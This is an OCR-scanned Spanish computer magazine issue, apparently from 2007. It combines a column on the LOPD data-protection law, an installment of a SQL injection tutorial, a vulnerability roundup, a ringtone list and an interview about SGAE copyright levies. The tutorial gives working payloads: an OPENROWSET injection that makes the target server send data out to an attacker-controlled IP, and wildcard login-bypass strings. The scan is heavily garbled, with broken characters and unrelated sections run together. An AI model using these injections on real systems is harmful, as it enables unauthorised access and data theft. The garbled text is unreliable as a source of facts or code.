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sorte exacto de la multa. En la entrega 50
s dimos la URL de la Agencia, que ha
ambiado a www.agpd.es.

Los tipos de sanciones vienen indi-
ados en la LOPD junto con la cuantia
% la multa (que cobra el estado, no el
fenunciante):

1.- Leves: Entre 601,01 y 60.101,21 €

2.- Graves: Entre 60.101,21 y
¥00.506,25 £

3.- Muy graves: Entre 300.506,25 y
601.012,1 €

Las medidas de seguridad que debe
mplantar el responsable del fichero (la

empresa que recoge los datos, para que
nos entendamos) dependen del nivel de
os datos personales que almacene, que
estan clasificados en tres niveles:

1.- Nivel basico: Cualquier dato de
caracter personal que pueda identificar a
un individuo (nombre, direccidn, e-mail,
DN, etc.).

2.- Nivel medio: Bisicamente todos
los datos relativos a la comisidn de infrac-
ciones administrativas o penales, Hacien-
da Pablica y servicios financieros.

3.- Nivel alto: Datos de ideologia,
religion, creencias, origen racial, salud,
vida sexual, asi como los recabados para
fines policiales.

Dichas medidas de seguridad estan
especificadas en el Real Decreto que
aprueba el Reglamento de Medidas de
Seguridad de los ficheros automatizados
que contengan datos de cardcter personal
(RMS). Dichas medidas de seguridad, si
habéis leido sobre la ISO 17799 y la 150
27701, podréis ver que no son nada nue-
vo. Implica que hay que hacer copias de
seguridad, definir responsables, proteger
los datos con las mecridas técnicas posi-
bles, etc.

Os dejamos los ficheros Ley Orgdni-
ca.pdf y Real Decreto.pdf para que co-
nozcais vuestros derechos.

En una ocasion llamé a una de estas
empresas de formacidn a distancia que
tanto se anuncian para preguntar por un
curso. Antes de que me pasaran con un
comercial, me pidieron mis datos perso-
nales, lo que no tiene sentido si todavia
no he decidido contratar un curso, pero
pensemos en positivo e interpretemos
que eso es para poder hacer un mejor

NOTICIA BREVE

seguimiento a mi consulta. Ahora bien,
cuando me pidieron mi DNI les dije que
no lo necesitaban para informarme sobre
un curso, ¥ me dijeron que si no les daba
mi DNI no podian atenderme, tras lo cual
les di las gracias y colgué. ;Para qué quie-
ren mi DNI, qué va a ser el siguiente dato
que me pidan, mi ndmero de calzado?

La LOPD es clara en este aspecto:
“Los datos de caracter personal sdlo se
podran recoger para su tratamiento, asi
como someterlos a dicho tratamiento,
cuando sean adecuados, pertinentes y no
excesivos en relacion con el dmbito v las
finalidades determinadas, explicitas y le-
gitimas para las que se hayan obtenido”.
Mo tuve ganas de complicarme la vida,
pero tal vez ese serfa un motivo para que
la Agencia Espafola de Proteccion de
Datos les hiciera una visita.

Y es que hacemos valer poco nuestros
derechos con la LOPD... Pero todo es
cuestion de estar bien informados.

Ahora bien, todavia hay muuuchas
empresas en Espana que no hacen caso
a esta ley, v luego pasa lo que pasa. Os
voy a hablar de un caso real para que lo
entenddis con mayor facilidad.

En el afio 2.000, la productora del
programa de televisién “Gran Hermano”,
Zeppelin, tenia una base de datos en
Access con los datos personales de los
1.722 candidatos a la primera edicién
del programa. Unos hackers lograron ac-
ceder a dicha base de datos y la hicieron
publica en Internet. Segin la AEPD, los
responsables de la productora “no toma-
ron ni la mds elemental medida de segu-
ridad para evitar la difusién en Internet de
datos muy personales de los aspirantes a
concursar en el programa”. La productora
alego que “Zeppelin, al igual que el Pen-
tdgono, la CIA y grandes bancos, ha sido
victima de un hacker. La seguridad en
Internet es adn un reto”. Pero eso no con-
vencid a la AEPD, quien le impuso una
multa total en 2,001 que ascendié a 180
millones de las antiguas pesetas, como ya
os informamos en la entrega 37.

De esos 180 millones, 25 correspon-
dian a la violacién del articulo 9 de la
LOPD que especifica que “El responsable
del fichero (..) deberdn adoptar las me-
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JUN DICE QUE CREO EL VIRUS PORQUE NADIE LE OFRECIA

TRABAJO COMO INFORMATICO.
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didas de indole técnica y organizativas
necesarias que (..) eviten su alteracion,
pérdida, tratamiento o acceso no autori-
zado (..)". Por lo tanto, es el responsable
el que debe poner todos los medios ne-
cesarios para que los datos no puedan ser
robados.

Desde la imposicién de la multa en
2.001, la productora Zeppelin ha estado
interponiendo recursos hasta que ha lle-
gado al Tribunal Supremo, quien ha rati-
ficado en 2.007 la sentencia obligando a
pagar la multa.

Asi pues, cada vez que un hacker
es capaz de acceder a datos de caricter
personal que una empresa no esté prote-
giendo adecuadamente, esta revelando
el incumplimiento de dicha empresa a la
aplicacion de la LOPD... Si es que la em-
presa no puede alegar que para el ataque
se utilizé un novedoso sistema descono-
cido y 3ue no pudo haberse predecido y
protegido contra él...

Pero no todo el monte es orégano,
conviene recordaros que hubo cuatro
detenidos acusados de haber divulgado
dicho Access y fueron acusados de re-
velacién de secretos, delito penado con
hasta cuatro afios de cdrcel. Asi que mu-
cho cuidadito con lo que hacéis.

Inyeccion de cﬁdiﬁu SQL XIII:
Leyendo ficheros Il1

METODO 4

Si no funciona la conexidn, podéis mirar
en el log de vuestro firewall personal, o
en un sniffer, para verificar que el servi-
dor remoto estd intentando conectarse a
nuestro 5QL Server. 5i no veis ninguna
traza podria significar que el firewall que
proteja al servidor remoto bloguea las
conexiones salientes. Como no sabemos
qué IPs o puertos de destino estin per-
mitidos en el firewall (en el sentido de
salida desde el servidor remoto), podéis
probar a intentar conectaros a otros puer-
tos de vuestro PC que podria permitir un
firewall normalmente (para actualizar

los parches del servidor, por ejemplo).
Para ello probad a conectaros a puertos
como el de HTTP. SMTP, etc. de esta
manera (esta vez no ponemos el nombre
de dominio sino la IP para que vedis la
diferencia):

"; INSERT INTO OFPENROWSET
[("SQLOLEDB' "UID=sgluser; PWD
=clavel?3; ADDRESS=1.2.3.4,8
0;',"SELECT * FROM export')
SELECT * FROM foo——

Si os fijdis, en la sentencia que he
creado en esta ocasion he puesto la di-
reccion IP de nuestro equipo (1.2.3.4) en
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vez de su hostname. Por ese motivo, en vez de indicarlo en la
variable SERVER (como hicimos en la anterior entrega), le he
indicado en la variable ADDRESS.

Si descubris en vuestros logs que la conexion se establece
en alguno de estos puertos, habria que cambiar el puerto al
que escucha vuestro SQL Server (o si tenéis un router con NAT
bastaria con cambiar el puerto de destino redirigido al 1433
interno en vuestro PC).

Saltarnos un formulario de autenticacién Il

En la entrega 100 os explicibamos tres formas (a modo de casos)

de saltamos el tipico formulario web que nos pide usuario y con-

trasefia. Ahora que ya conocéis mejor el funcionamiento del SQL

y como extraer informacion de los mensajes de error os explicare-
mos una cuarta manera de saltamos ese Up que nos detiene.

Caso 4: Nos hacemos pasar por otro usuario

Todos los que hemos trabajado con MS-DOS y una shell de Linux

estamos acostumbrados a utilizar en nuestros comandos el * como
comodin. Por ejemplo, para buscar en un directorio ficheros DOC
ejecutariamos:

C:\» dir *.doc

Y si queremos buscar un fichero cuya primera letra hemos olvi-
dado ejecutariamos:

C:\> dir ?nforme.doc

Pues bien, en el SQL también existen comodines. Realizando
una analogia entre el MS-DOS al que estdis acostumbrados y el
SOL dichos comodines serian:

COMODINES

En M5-DOS o Access  EnSQL  Explicacion

. %o Sustituye a cualquier cadena
? = Sustituye a un caricter

Vamos a explicaros como utilizarlos.

Imaginad que tenemos en una base de datos la tabla “usuarios”
con una columna “usuario” donde existe un usuario llamado “ad-
ministrador”, y con otra columna “clave” donde se almacena la
clave “acceso123":

TABLA ysuarios
COLUMNA usuario COLUMNA clave
administrador accesol?3

5i quisiéramos consultar la clave del administrador ejecutaria-
MOs:

SELECT clave FEOM usuarios WHERE usuaric =
'administrador';

Nos devolverd: acceso123

Imaginemos que no nos acordamos del nombre completo del
administrador (porque no nos acordamos si lo pusimos en inglés
“administrator’, reducido “admin”, o en castellano “administra-
dor) y que sélo nos acordamos del comienzo. Aqui es donde
entra en juego el comodin. En MS-DOS podriamos sustituirlo por
“admi*”, pero en SOL lo sustituiremos por “admi%".

Ahora bien, en 5QL tehdremos que indicarle que vamos a
hacer una blsqueda de una subcadena empleando el operador
LIKE, que sustituird al “=". De esta forma la sentencia SQL que nos
quedaria seria:

@z

SELECT clave FROM usuarios WHERE usuarioc LIEKE
'admi%";

Nuevamente nos devolverd: acceso123

Ojo, os recuerdo que SQL es sensible a los caracteres en ma-
yisculas y mindsculas, por lo que si no os acordiis si el usuario
empieza con maydsculas o no podriais ejecutar la sentencia:

SELECT clave FROM usuarios WHERE usuario LIKE
' _dministrader';

Otra vez nos devolverd: acceso123

3i alguien se esta preguntando como podriamos emplear un
usuario que contenga el simbolo “%” la respuesta es sencilla,
empleando el cardcter de escape “\". El cardcter escape sirve para
indicarle al SQL que el simbolo que viene a continuacién es un
cardcter y no un valor SQL a interpretar. Asi, si queremos buscar un
usuario que se llame “periquito®3" ejecutariamos la sentencia:

SELECT clave FROM usuarios WHERE usuario =
'periquito\%3';

5i 0s preguntiis entonces cdmo emplear una palabra que con-
tenga el “\" tampoco es dificil jusando de nuevo el caricter esca-
pe! Asi, si el usuario se llama “periqu\to”, la consulta seria:

SELECT clave FROM usuarics WHERE usuario =
'periqui\to";

Bueno, ahora que ya estdis puestos en los comodines pasemos
a la inyeccion de cédigo. ;Cémo podemos aprovecharnos de es-
ta funcionalidad? Veamos primero la sentencia SQL que verifica
nuestro usuario y clave en el formulario. Un ejemplo seria:

SELECT * FROM usuarios WHERE usuario =
'jorge' AND clave = "jorgel23’

Sencillo, seguro que en el servidor hay algdn usuario cuyo
nombre contenga la letra “a” (admin, sin ir mds lejos), por lo tanto
lo dnico que hay que hacer es intentar acceder como ese usuario
empleando los comodines. Eso traducido a SQL seria %a%. Asi

pues inyectamos:

Usuaric: %a%
Clave:

Quedaria entonces la sentencia SQL asi:

SELECT ®* FROM usuariocs WHERE usuario = "%a%'
AND clave = "-—-1!

Con esta inyeccidén no vamos a llegar a ninguna parte, dado
que para emplear el comodin tenemos que utilizar el operador
LIKE. No hay problema para utilizar el LIKE, pero nos obliga a
utilizar el nombre de la columna. Como a estas alturas ya os
hemos explicado como descubrir el nombre de las columnas
daremos por hecho que ya sabéis que la columna del usuario
es “usuario”. De todos modos, si no queréis repasar las ante-
riores entregas donde os explicibamos cémo ver los nombres
de las columnas podéis aprovecharos de lo predecible que son
muchos programadores, ya que es habitual que el nombre de |
columna donde se almacenan los nombres de usuario se llames
username, name, login, userid, id, etc. En fin, 0 empledis la
imaginacion o aplicais las técnicas de descubrimiento SQL que
va 0s hemos ensenado ;-)

Asi pues ya estamos preparados para realizar nuestra inyeccidn




Uzuarioc: a' OR usuario LIKE '%a%
Clave:

Quedaria entonces la sentencia SQL asi:

SELECT * FROM usuarios WHERE usuario = "a' OR
usuaric LIKE '"%a%' AHD clave = *1

Es mas podriamos simplificar la sentencia SQL y acceder como
un usuario cualquiera inyectando:

Usuario: a' OR usuario LIEE "%
Clawe:

Quedaria entonces la sentencia SQL asi:
SELECT * FROM usuarios WHERE usuario = 'a' OR
usuario LIKE "&%' AND clave = "!

Desgraciadamente, aunque es una sentencia correcta, no nos
vamos a poder colar y os explico el por qué: nos falta la clave.
“Anda que se nota que ti has estudiado para llegar a esa conclu-
sion”, pensard mas de uno. A ver, os lo explico detalladamente.

Cuando trabajamos con operadores légicos booleanos (AND
que se traduce como “y”, OR que se traduce como “0") emplea-
mos al menos dos valores:

valorl OR walor2
valorl AND wvalor?

Para facilitaros la comprension, haremos la siguiente analogia
sobre la sentencia SQL anterior:

Website del mes

m INYECCION SQL

valorl = “ysuaris = Ta'¥
valor? = “usuario LIEE "%a%x'"™
valord = “clave = "'~

;Qué ocurre cuando empleamos tres valores como en la sen-
tencia SQL anterior? Pues que el SQL los agrupa, asi el SQL lo ha

agrupado en:

valorl OR (wvalor2 AND wvalor3)

Esos paréntesis no los veis por ninguna parte, pero forman
parte de la légica del SQL que interpreta primero los AND y
luego los OR.Y no me vaydis a venir con que es un invento que
05 suena a nuevo, porque me da igual que hayais estudiado
con la EGB, la LOGSE o lo que sea, seguro que os ensefiaron
que para resolver: 1+2+3x4x5+6+7 habia que convertirlo en:
1+2+(3x4x5)+6+7 es decir, que primero se hacen las multipli-
caciones y luego las sumas.

Asi que la sentencia SQL que hemos construido, al interpretar-
la, el SQL no encuentra ningdn usuario que contenga la letra “a”
cuya clave esté vacia, por lo que se convierte en:

valorl OR (VACIO) => VACIO OR (VACIO) => VACIO

Como el “valor1” dijimos que era “a”, y no hay ningdn usuario
que se llame “a”, el SOQL no serd capaz de encontrar a ninglin usua-
rio que cumpla nuestras condiciones y devolvera el resultado vacio,
lo que rechazard nuestro intento de acceso. Pero no os preocupéis
porque esto tiene solucidn, pero eso serd el mes que viene :-)

Andrés Méndez Barco
Manuel Baleriola Moguel
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Bugy Bugy
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El mes pasado hablamos sobre un bug gue afectaba a una tec-
nologia que esta de moda en la web.

Este mes vamos a hacer un homenaje a viejos conocidos de
esta seccion como son el buffer overflow y el DoS. Pero, como
siempre, tendréis que seguir leyendo para saber mas porque
hasta aqui podemos leer.
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Ese vocabulario del jurasico
Esta claro que a muchos de los que seguis esta seccidn os
sonara la palabreja buffer overflow porque la hemos dicho
muchisimas veces y ademés, como prueba de que deberia
estar en el vocabulario de todos los bugy adictos, agui saldra
otra vez mas. Esta vez el elemento afectado por un problema
de buffer overflow es el servicio Agent de Windows 2000. Si,
puede parecer que a fecha de hoy esto es como hablar de un
bug antiguo pero nada mas lejos de la realidad, ya que en mu-
chas empresas se sigue usando el Windows 2000 y el bug esta
calentito calentito, aunque estemos ya a finales del 2007 como
quien dice.

El problema estd en que remotamente podria conseguirse
un atague basado en la técnica del buffer overflow hiciera que
un atacante ejecutara codigo arbitrario en el ordenador con
los privilegios que tuviera el usuario victima del ataque. Cosa
que no sera grave si no se usa el “administrador” por defecto
como hace la mayoria muchas veces, jverdad? Si no, pues el
atacante podria hacer lo que quisiese en el ordenador.

Show must go on

Como decia la cancién del mitico grupo Queen, el show debe
continuar, en este caso, el overflow no va a parar este mes y
vamos a ver otro mas.

Concretamente ahora le toca el turno a otro ataque remoto
del tipo overflow que puede llegar a facilitar la ejecucion de
cddigo arbitrario, como no. Y como estaréis intrigpados por
saber a quién le cae el marrdn en esta ocasidn, no vamos a re-
trasar mas la espera. Este bug afecta a OpenOffice, seguro a la
versidn 2.0.4 y se sospecha de que las anteriores a la 2.3 sean
vulnerables también.

Otro, otro, otro....

Parece ser que este mes va a tocar el mes del overflow, jver-
dad? Pues aqui va otro bug que utilizando la técnica del over-
flow logra hacer cositas. En esta ocasion, ademas de permitir,
a veces, la ejecucion de codigo arbitrario como los dos que
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hemos visto antes, también permite a los atacantes hacer que
las aplicaciones que usen la libreria ImageMagick casquen,
peten, exploten o como vosotros llaméis habitualmente a
cuando un programa deja de funcionar.

El problema que se ha detectado afecta al manejo que hace
ImageMagick de cierto tipo de formatos de fichero de tal for-
ma que, si se crea convenientemente un fichero .xbm, .xbm,
xwd, .dib, .dem o .xcf se puede llegar a forzar que el buffer
de la pila no pueda obtener suficiente tamano para colocar la
informacion gue maneja. Esto provocaria el buffer overflow y
lo que ya hemos comentado antes.

En cuanto a las versiones vulnerables, se confirma que la
6.3.4 lo es y del resto se sospecha que también lo son aunque
no hay confirmacion de ello.

Para terminar este mes vamos a repetir objetivo y por ello
ImageMagick va a recibir otro premio bugy bugy de este mes
XD. Esta ocasion no se trata de un buffer overflow, que por
este mes ha sido bastante el protagonista, sino de otro viejo
conocido de esta seccion. Estamos hablando del DoS (Denial
of Service o también conocido como denegacion de servicio).
El bug descubierto lo que logra es un atacante pueda consu-
mir los recursos CPU de la maguina objetivo dejandola k.o.
como o5 podéis imaginar. Al igual que el bug anterior, se ha
confirmado que la 6.3.4 es vulnerable y el resto, sospechosas
de serlo.

Como siempre, el consejo de siempre: actualizad, actualizad
y seguid actualizando vuestros programas.
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Gorilloz - Dirty Harey

Red Hot Chilli Peppars - Dani Ca
Fite y Filipalds - Seldadito Marin
Extremoduro - Golfa

Freestylers feat. Pelra - Tald You
Green Doy - Wake Me Up When
Moby - Dream Aboul Me

Sil'rlpll_'.‘ Plan - Welcome W Life
Green Doy - Baulevard OFf Broke
Gorilloz - Feel good ine

Weezer - Beverly Hills

Good Charlofte - Just Wan Live
The Chemical Brothers - Galve
Fotboy Slim - Slash Dot Dash
Meng - Soy persona

Meng - Que pasa Neng
Carlinhos Brewn y Dj Dero
Chemical Brothers - Believe

El Keolo - Opa yo viaee un corra
Mattafix - Big City Lifs

Lo Cabro Mecanica - Lo uiio de
The Rolling Slones = Rain foll do
Simple - Crazy

Mickelback = Far Away

Hoy no me puede levantar - Un.
Goldiropp - Mumber one
Pastora = Dia tonto

Modestia Aparle - Cosas de lo
lomie Cullum - Mind frick

Pain - Shut Your mouth V2

El Barag - Querido enemiga

lean Michel Jarre & Oxygene

Hari Mata Hari - Lejla (Eurevisicn|
Fabrizio Faniellg - F'de [Eurovision
Elena Risteska - Minanaina (Euro..
Dima Bilan - Newer Let You go (Eu
Andre - Without Your Love (Euro..)
Gypsy Kings - Hotel California
Gloria Gayner - D'will survive
Carlos leans - Have a nice day
King Afrca - Paguito el chocola..
Complices - LLamame

Yictor « The fool on the hill
Lucchere y Mana - Baila morena
Scorpions - Winds of chﬂnge
Juopes - Nada valge sin tu amor
Ennig Morricone - La muerte
Anastacio - Laft autside alone
Alberto Iglesias

Sergio Rivers - Me Envenena
Nifa Pastari - To me camelas

- Edurne - Despieria

Coli y Pauling Rubio - Otra vez
Belanova - Me pregunto

- UTara Blaise - The Three degrees

Richard Ashcroft - Break the night
O 2005 - Batlika Medley

Kelly Clarkson - Behind these hoze
Chamboo - Sueho y mugke

Beno Feal. Mary J Blige - One
Sidonie - Joe '
Pablo Moro - Vodka y caramelos

MNing Simone - (Spot Audi Ad)
Maorvin Gaye - (Spot Movislar)
Andy Willioms - (Spot Honda)
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soundirock < Rocky
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_- :_ siaraars
" spidamanll

i silenciodaloseorderos
' zhrek?
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Ana Maria Méndez:
La mujer que desafia a Ia SGAE

"Desde que las

F B | tiendas hemos
plantado batalla,
las demandas
por el canon han
caido en picado"

Estamos en Sidn... No :) Estamos
en Traxtore, una tienda de infor-
matica de Barcelona y el centro
fisico de la Resistencia contra las
entidades de gestion de derechos
de autor. Apartada de las miradas
pero viéndolo todo, en la reboti-
ca, suele estar Ana Maria Méndez,
una guerrera toda dulzura de 36
anos. Lider de la rebelion desde
que la denunciaron por impago
del canon, a principios de 2004, y
fundadora de la Asociacién Es-
panola de Pequenas y Medianas
Empresas de Informadtica y Nuevas
Tecnologias (APEMIT), Ana es la
pesadilla mas bonita de la SGAE.




éQuién era Ana antes de APE-
MIT?

Estaba tan tranquila en esta tienda, que
fundé mi hermano, el chispas de la fa-
milia. La duefia es mi madre.

La famosa abuela informati-
Cau.e

Un dia, en un foro, lei: "Ojito con las
abuelas. En Traxtore hay una sefiora de
unos 62 anos mentira, no tiene tantos
que no veas como controla. Yo le hago

preguntas trampa y me las acierta todas”.

Se lo imprimi y le hizo mucha ilusion.
La llaman “la abuela de la informdtica"
v, realmente, la gente se sorprende al
VEr a una sefiora mayor que es capaz de
venderte un disipador de dltima gene-
racion.

éQué sector de la informatica
te gusta mas?

Disfruto mucho con los "mods", su parte
creativa: tunear torres, cortarlas, hacer-
les ventanas.

éSiempre has sido combativa o
empezaste con APEMIT?

Cuando algo me ha agredido, he pre-
sentado batalla. Hay mucha gente
conformista, que ha tenido la misma
desgracia de que la Sociedad General
de Autores y Editores (SGAE) se fijase

en sus negocios, pero no ha hecho mads
que consultar a un abogado. Siempre he
creido en juntar a la gente que tenga el
mismo problema y denunciarlo en voz
alta, porque normalmente el agresor se
avergienza.

LY tu companero, Alberto, co-
mo lleva lo de estar casado
con una "walkiria"?

Gracias a Dios, es el que lleva el ne-
gocio para adelante. Yo, cuando pueda
pasar pdgina de esto, voy a tener que
hacer un cursillo acelerado porque al-
timamente veo cosas muy raras en el
mostrador, ja, ja.

¢Es tu patrocinador, digamos?
El tema de la SGAE me ha perjudicado
de diversas formas. Por una parte, he
tenido que cambiar la linea de la tienda
y buscar productos nuevos. Ha sido un
reto y no me importa.

£{0s habéis centrado mas en el
"modding"?

Si. Pero hay algo que me ha perjudicado
mucho: el apartarme de la labor que
estaba desarrollando en el negocio fami-

liar. He quedado totalmente descolgada
para dedicarme a una lucha que me ha
absorbido muchisimo. 5i no hubiese
tenido el apoyo familiar, que esta tienda
sea de mi hermano, de mi madre, de mi
marido, v ellos no hubiesen puesto mas
carne en el asador, esta lucha no la ha-
bria conseguido.

Es su mérito...

Por eso entiendo que muchos negocios
afectados no hayan podido hacer tanto y
se apoyen en lo que estd haciendo APE-
MIT, algo que me parece estupendo.

éQué cargo tienes en APEMIT?
Secretaria.

No sé por qué las mujeres
siempre acabamos de secreta-
rias :)

Ja, ja. Chicas para todo. APEMIT nace de
ver que te aplican un acuerdo de un gru-
po de importadores y fabricantes, que se
erigen como tu patronal, y que td no has
firmado. ¥ cuando te cae una demanda,
a pesar de ser su cliente de mucho tiem-
po, no te tienen ningun aprecio. Quieres
revolverte contra esto pero ves que, co-
mo empresario, no tienes ningun valor.
Solo lo adquieres si eres un grupo de
gente afectada capaz de hacer ruido.

éCuantos socios tiene APEMIT?
1.200. Nacio a principios de 2006. Yo
me dedico a volcar informacién en la
web y asesorar para que los socios no
cometan los fallos que yo cometi. Mo-
tivo a la gente para que muestre oposi-
cién desde el principio. ¥ estin viendo

que, al hacerlo, consiguen rebajas. Es
mds: desde que hemos plantado batalla,
las demandas han caido en picado.

iLas entidades se baten en re-
tirada?

En demandas, si, han dejado de serles
rentables porque tienen que invertir en
abogados, reducir las cantidades recla-
madas y encima han conseguido senten-
cias que no les han gustado. Ahora las
tiendas sabemos que podemos luchar.

APEMIT no solo ha adoptado
posiciones defensivas sino
también combativas, como la
querella que pusisteis porque
un catedratico de la Univer-
sidad Politéecnica de Madrid
hacia informes favorables a la
SGAE, como si fuesen oficiales.
Si, y estd admitida en la Audiencia.

éEs cierto que la SGAE intento
sobornaros para que la quita-
seis?

Fue una conversacion en una comida.
Intentaban llegar a un acuerdo con

HAY MUCHA GENTE CON-
FORMISTA, QUE HA TENI-
DO LA MISMA DESGRACIA

DE QUE LA SOCIEDAD
GENERAL DE AUTORES Y
EDITORES (SGAE) SE FIJA-
SE EN 5US NEGOCIOS
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nosotros. Decian que la publicidad en
contra que les estibamos haciendo les
perjudicaba y nos pidieron condicio-
nes.

éCondiciones para retirar la
querella?

Si. Se las pedimos, pero desorbitadas:
retroactividad fuera, todas las deman-
das que estan interpuestas en los juzga-
dos fuera, no mas demandas, td no me
puedes auditar sino alguien asignado
por APEMIT v, si el producto es de

un fabricante o importador, yo te diré
cudnto material he comprado, a qué
fabricante y ti te apafards. En resumen:
que el canon nos pasara por encima a
los pequenos empresarios.

LY qué respondieron?

Que si. Dijimos: vale, pero que el acuer-
do sea con las ocho entidades de ges-
tidn, no sdlo la SGAE.

iEstabas hablando con la
SGAE?

Yo no, el abogado, Josep Jover, con un
abogado de SGAE. Pero esto ya no pudo
ser, porque no hay buena relacién entre
SGAE v la Entidad de Gestién de Dere-
chos de los Productores Audiovisuales
(EGEDA).

éCuantas demandas a tiendas
ha puesto la SGAE?

En APEMIT controlamos la mayoria y
tenemos 65.

éHay mas cosas ademas de de-
mandas?

Claro, antes ha habido presién. Muchos
han pagado por miedo a que les pusie-
ran la demanda. En APEMIT hay tiendas
que estaban dispuestas a pagar 150.000
0 320.000 euros y, gracias a plantarse,
les han bajado hasta cantidades como
la mia.

éCuanto es la tuya?

Actualmente son 16.000 euros, pero
empezd con 67.000. 56lo en demandas
interpuestas a socios de APEMIT se su-
peran los 3 millones de euros. Lo que
pueden haber recaudado de quien no se
ha plantado, imagina.

Tu forma personal de protestar
ha sido dejar de vender cosas

EL JUICIO CONTRA TRAX-
DATA SENTO UN PRECE-
DENTE Y EL TERMINO

"IDONEIDAD" SE INTRO-
DUJO EN LA REFORMA DE
LA LPI DEL 96.

con canon. Supongo que po-
cas tiendas habran seguido el
ejemplo.

5i. Es que ser un tienda de informatica y

no poder vender cosas "idéneas” es muy
dificil.

£Qué significa "idéneas"?

Por ejemplo, mi caso en los tribunales:
cuando se les pregunta qué me piden
por los reproductores de MP3, las tar-
jetas de memoria o las grabadoras de
DVD, se remiten a la redaccién de la
Ley de Propiedad Intelectual (LPI) del
96, donde aparece que cualquier mate-
rial idéneo para grabacién y/o reproduc-
cién temporal o fija devengard canon.

Creia que los reproductores de
MP3 solo tenian canon a partir
de la reforma de 2006...

Mo. Esto viene de la redaccién mds an-
tigua, la del 87, que esgrimieron en la
primera gran demanda, contra el fabri-
cante Traxdata, y ganaron. Convencieron
a la juez de que la ley estaba redactada
en términos aplicados al material analé-
gico, como la cinta de casete, el video
y la minicadena, pero que la tecnologia
habia cambiado y existia un soporte di-
gital que era el mas utilizado. Entonces,
se introduce el término "idénec” para
equiparar el soporte digital al analégico.

Y listos.

El juicio contra Traxdata senté un pre-
cedente y el término "idoneidad" se
introdujo en la reforma de la LPI del 96.
La SGAE lo usé como medida de presidn
contra la Asociacion Multisectorial de
Empresas Espafiolas de Electrénica y
Comunicaciones (ASIMELEC), dicién-
doles: aqui hemos ganado a Traxdata y
podemos hacer lo mismo con vosotros,
o llegar a un acuerdo.

Con el término "idoneidad" me-
ten lo que quieran en el saco.
Y nos llega la sorpresa de que empiezan
a venir demandas donde piden por gra-
badoras de CD, de DVD, reproductores
MP3, tarjetas de memoria. Lo que pa-
recia que iba a quitar esta inseguridad

y poner limites, la reforma de la LPI del
2006, no lo hace porque no les interesa.

Habia unas conversaciones
para consensuar qué disposi-
tivos tendrian canon, pero se
rompieron antes del pasado
verano...

Si, ya tenian una lista hecha: repro-




luctores de MP3, por aparato y por
memoria interna, tarjetas de memoria,
pendrives” y grabadoras de CD y DVD,
mas reproductores de sobremesa con
disco duro portdtil funcién grabador. Se
habia llegado también a acordar qué ta-
rifas se pondrian.

LY qué paso?

La conversacion se rompid cuando
SGAE pidid a ASIMELEC el canon retro-
activo a fecha de publicacién en el BOE
de la reforma de verano del 2006, Con
lo cual, si a una tienda el retroactivo le
supone una pasta, imaginate para un
mavorista: millones.

éQué estan haciendo los mayo-
ristas ante esta amenaza?
Desaparecer o fusionarse entre si. Hay
dos mayoristas nacionales que han
desaparecido como empresa pero, en
realidad, han sido adquiridos por una
empresa italiana. Es el movimiento per-
fecto para evitar cualquier reclamacion
con retroactividad. Ademds, como es una
empresa italiana, quien les compra mate-
rial adquiere el caricter de importador.

LY eso qué significa?

Que debes regularizar ese articulo con
todos sus impuestos dentro del pais.
También ves que marcas como Sony
incluyen canon en las grabadoras y vi-
deocamaras.

éQué canon cobran, si adn no
esta fijado?

6,61, que es el que dice SGAE, aunque
esta en el aire, y con IVA, que es otra
conversacién que estd en el aire. Ves
también como las tarjetas de memoria se
han encarecido una brutalidad, cuando
la tendencia era a la baja, o se estdn de-
jando de comercializar.

£¢Todo por el canon?

Si. Los reproductores de MP3, tienes ofer-
ta para comprar iPods o marcas contun-
dentes, con su canon, pero toda la gama
economica que habia, te la tienes que
importar ti. Estd desapareciendo un mon-
tén de gama de producto de los catilogos
de los mayoristas, aunque no se deja de
ver en las grandes superficies. Antes, dia-
riamente te llegaban como tienda mon-
tones de "mailings" de material "idéneo”.
Ahora esta oferta ya no existe.

Pero sigue en el mercado...
Puedes ir a cualquier gran superficie y
encontraras mil marcas de reproductores

ESTA DESAPARECIENDO
UN MONTON DE GAMA DE
PRODUCTO DE LOS CATA-

LOGOS DE LOS MAYORIS-
TAS, AUNQUE NO SE DEJA
DE VER EN LAS GRANDES
SUPERFICIES

MP3, porque tiene la capacidad econd-
mica suficiente para importar su propio
lote, mds si es firmante del contrato
CDR.

iContrato CDR?
Aparte del acuerdo con ASIMELEC, la

SGAE cred un contrato conforme i ad-
guirias el compromiso de liquidar una
cantidad fija al mes como canon, con lo
cual te condonaban la retroactividad y no
te sometian a ningdn tipo de control. A
ese contrato se han adherido grandes su-
perficies, comercios y algin mayorista.

Suena a impuesto revolucio-
nario.

Consegui la lista de firmantes del con-
trato CDR, que salia en uno de los
miiltiples enlaces de SGAE que primero
estaban y después ponia pigina no en-
contrada. Por légica, si han firmado el
contrato estin obligados a cobrar canon
cuando les compras un CD o DVD, asi
que fui a MediaMarkt, PC City e Hiper-
cor a comprar y exigi mi factura desglo-
sada.
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Ninguno me la quiso hacer. Es brutal el
montén de gente que compra en un Cor-
te Inglés y sitios asi y, si viesen lo que
pagan de canon, dirian: hostia, 5 euros
mis CDs, 3 euros de IVA y 5,50 de ca-
non. 5i no hay mayor protesta es porque
no saben que les afecta el bolsillo.

Los pequenos comercios, {co-
mo lidian con el canon?

En muchos bazares, puedes comprar tu
bobina de CDs, pedir la factura y no te
la van a dar, porque no pueden emitir
una factura de venta si no tienen una de
compra. Es decir, se incentiva la econo-
mia sumergida, algo que también han
detectado las entidades de gestion.

éComo?

Han visto que las empresas familiares
prefieren no vender el producto antes
que llevar una contabilidad en negro. Y
esto perjudica a las entidades porque, si
no se comercializa el producto, no co-
bran. Por otro lado, ven que el producto
sigue estando en el mercado y ellos, co-
mo entidad de gestién, no estan pillando
cacho.

LY queé hacen?

La dltima moda es que la tienda pueda
adquirir, de una marca reconocida y
firmante del contrato CDR, un palet con
canon y te envian tres.

LA FABRICA CONSIGUE
VOLVER A VENDER, POR-
QUE CON CANON NADIE
LE COMPRABA, Y LA
SGAE, DE TRES PALETS
RECAUDA POR UNO

éDos sin canon?
Exacto. Y td te apaias.

£Qué tienen que ver en esto
las entidades de gestion?

Creo que estd coordinado por ellas. Es
inconcebible que fabricantes que estin
en el punto mas visible las marcas pe-
quenas o que no estaban consolidadas
han desaparecido del mercado y ahora
50N seis, me cuesta creen que se arries-
guen tanto, que sean capaces de enviar
"mails" a clientes con esta oferta. Creo
que entra dentro del paquete de pactos
y repactos.

{éQué gana la SGAE?

La fabrica consigue volver a vender, por-
que con canon nadie le compraba, v la
SGAE, de tres palets recauda por uno.

Vale mas pajaro en mano..
Que tres palets volando... Dicho por
ellos: el canon es pan para hoy y ham-

